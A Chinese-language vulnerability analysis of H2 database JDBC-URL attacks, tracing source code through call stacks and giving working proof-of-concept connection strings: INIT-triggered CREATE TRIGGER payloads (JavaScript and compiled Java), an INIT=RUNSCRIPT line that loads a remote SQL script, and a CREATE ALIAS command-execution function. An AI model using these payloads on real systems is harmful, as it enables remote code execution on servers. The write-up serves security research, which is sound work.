JDBC H2 Attack

H2

$$ 在 h2 中代表设置函数

eval 执行变异好的 var3 名称的脚本

调用栈:

Copy
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2

0x01 TRIGGER RCE

javascript

在 JDK15 中 JavaScript /Nashorn​引擎被彻底移除 (也就是jdk15​以上用不了//javascript​这种方式 rce，jsEngine会为null​然后空指针报错)

环境

jdk8u20

Copy
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>

Copy
import java.sql.DriverManager;

public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}

H2 解析流程

Copy
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}

先进入new ConnectionInfo(var1, var2)​, 查看如何设置一些连接信息的

进入readSettingsFromURL​

回去

name 为 url 中后半段值，然后会解析 name 值，

tcp:​和ssl:​会开启远程remote=true​, 后面一处remote​的判断会进行远程连接

mem: 表示使用内存模式，数据库存储在内存中。test: 连接数据库名称。

因为 poc 设置的是mem:​, 会让persistent = false;​, 这里也是有用的，因为后面存在调用getName()​,

如果persistent != false;​会对 name 进行检测，而且会刚好为 true, 然后抛错

它会检查 name​ 是否包含相对路径的标志（如 ./​、.\\​、:/​、:\\​ 等），并且 SysProperties.IMPLICIT_RELATIVE_PATH​ 是否为 false​。如果 name​ 不是绝对路径且不包含这些相对路径标志，则会抛出一个异常。

然后就回到new ConnectionInfo(var1, var2)​, 后面就只有一个convertPasswords​处理和转换密码，但这里没设置，没啥操作，到此解析连接信息部分结束

init

获取到连接信息之后才开始连接的过程

反射加载 H2 数据库的引擎类，然后通过引擎类创建会话

调用 INSTANCE.createSessionAndValidate(ci)​方法来创建和验证会话，然后再进入 openSession(ci);​

去除连接信息中的IFEXISTS(是否存在)、FORBID_CREATION(禁止连接)、IGNORE_UNKNOWN_SETTINGS、CIPHER(连接密码)、INIT​, 然后输入部分信息调用openSession​尝试打开会话

在另一个openSession​里面获取了DATABASES​名，并判断是否存在和forbidCreation​是否为 true, 如果都不满足就创建该数据库，后面也创建了 user 和 password, 并把mem:test​作为刚才创建数据库的键值，然后返回到原始的openSession​方法

如果init​变量不为空，则尝试执行初始化命令。

Copy
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

初始化命令完成

然后来到TriggerObject#loadFromSource​, 调用执行

该函数是从源代码加载触发器对象，首先获取数据库的编译器实例，然后构建触发器的完整类名，即org.h2.dynamic.trigger.TRIG_JS​, setSource​将触发器的源代码设置为指定的类名，再检查触发器源代码是否为 JavaScript 源代码，如果是 JavaScript 源代码，编译并执行脚本。

然后先进入getCompiledScript()​

这里 JDK15 中 JavaScript /Nashorn​引擎被彻底移除 (也就是 jdk15 以上用不了//javascript​这种方式 rce, jsEngine会为null​然后空指针报错)

再看一下是如何获取到 js 引擎的，

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"​

然后names​和我们传入的name​进行匹对，匹配到返回初始化的engine​

但是这里需要注意，javascript 在前面也是有一个判断的:

小结

这个攻击方式主要是靠java Trigger​(Java 触发器), 即执行后端 Java 代码逻辑的容器来 rce, init 的命令被读取了部分之后，将其当做Trigger​的Trigger源代码​, 然后使用对应引擎执行该源代码

编写 poc 主要看解析 sql 语句的过程

0x02 绕过 //javascript

尝试注册引擎 (失败)

因为 JDK15 之后用不了 javascript 了

上图是在 jdk17 获取 jsEngine 时，因为获取引擎为 null, 导致后续报错，因为在associations​中没有找到注册的引擎， 在 engineSpis​集合中没有发现的引擎

然后我找到了 jdk17 一个可以注册associations​的地方

但是需要看之前的 factory 是什么，然后查看 jdk8 使用的 factory 为NashornScriptEngineFactory​, 同时 spis 就是通过 get 其 name 来获取的

Copy
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;

查看 jdk17 有哪些实现 factory 接口的类，可惜没有

主要是 jdk17 没有NashornScriptEngineFactory​和NashornScriptEngine​, 而且原始代码直接 new 了ScriptEngineManager​就去找引擎了，根本没有其他多的操作，这个流程你是不能控制的

控制生成 Trigger 代码

Copy
import java.sql.DriverManager;

public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}

还是先查看解析 command 处

调用栈

Copy
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass

刚好与 poc 一一对应，然后再到最后触发处

fullClassName​和triggerSource​被装入到 compilter 中，在跟进getClass(className);​

Copy
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...

跟进getClass​, 然后直接到classLoader.loadClass(packageAndClassName)；​

通过getCompleteSourceCode()补全​完整的 class 文件的代码​, 包括package、className、sourcecode(poc中)​

然后通过javaxToolsJavac​去加载那个 class, 然后 put 到一个 map 中，并返回​这个class对象​

上面的调用栈:

Copy
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

最后再调用invoke​触发恶意方法

0x03 INIT RunScript RCE

Copy
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

Copy
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');

调用栈

Copy
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

通过 while 循环执行每一条 sql 语句，一次执行一条

$$ 逻辑

查看如何解析得到command​的，调用栈

Copy
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

初始化

进入Tokenizer.tokenize​

这就是解析 JDBC 字符串的关键了，会循环地去匹配字符开头：比如我们字符串为RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'​，开头 R 进入 case 调用 readR

readR 先调用 findIdentifierEnd 去查找 keyword 关键字，这里已经找到 RSCRIPT, 不过 RIGHT EOW ROWNUM 需要优先依次进行匹配，未匹配到最后调用 r eadIdentifierOrKeyword。这里就完成了提取 RUNSCRIPT

接着空格略过

From 关键字

当遇到单引号时会把里面的字符提出来，得到 tokens 如下:

查看$$​逻辑

其中sql.substring(stringStart, stringEnd)​就是我们定义的函数

绕过 $

上面已经看到了 $ 是通过new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);​添加的，搜索CharacterStringToken​

可以发现在readCharacterString​也存在，而在case '\''​存在调用

所以把 poc.sql 中的 $$ 换成单引号也可以，所以 0x02 中也可以切换

poc 需要注意的问题

如果我们正常些危险函数，是发现不能直接 rce 的，为什么作者在后面还添加了一个转译符呢，

Copy
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";

可以看到传入 sql 的时候，多的那个转译符号已经没了，往前追溯

此时 ci 中的 originalURL 还是 jdbc:h2:mem;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator");}'

如果不加转译符号呢

Copy
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

因为以；为分割，导致原始 poc 中的危险函数被分为了两部分

添加两个转译符号即可

0x04 H2 数据库利用 ALIAS

下载 jar, 我下的是最新版本的，要用 jdk17 启动，然后直接 Connect, 就有一个在线 h2 数据库了

Copy
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)

回显

Copy
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

0x05 参考

https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/#%E5%88%86%E6%9E%90

zjj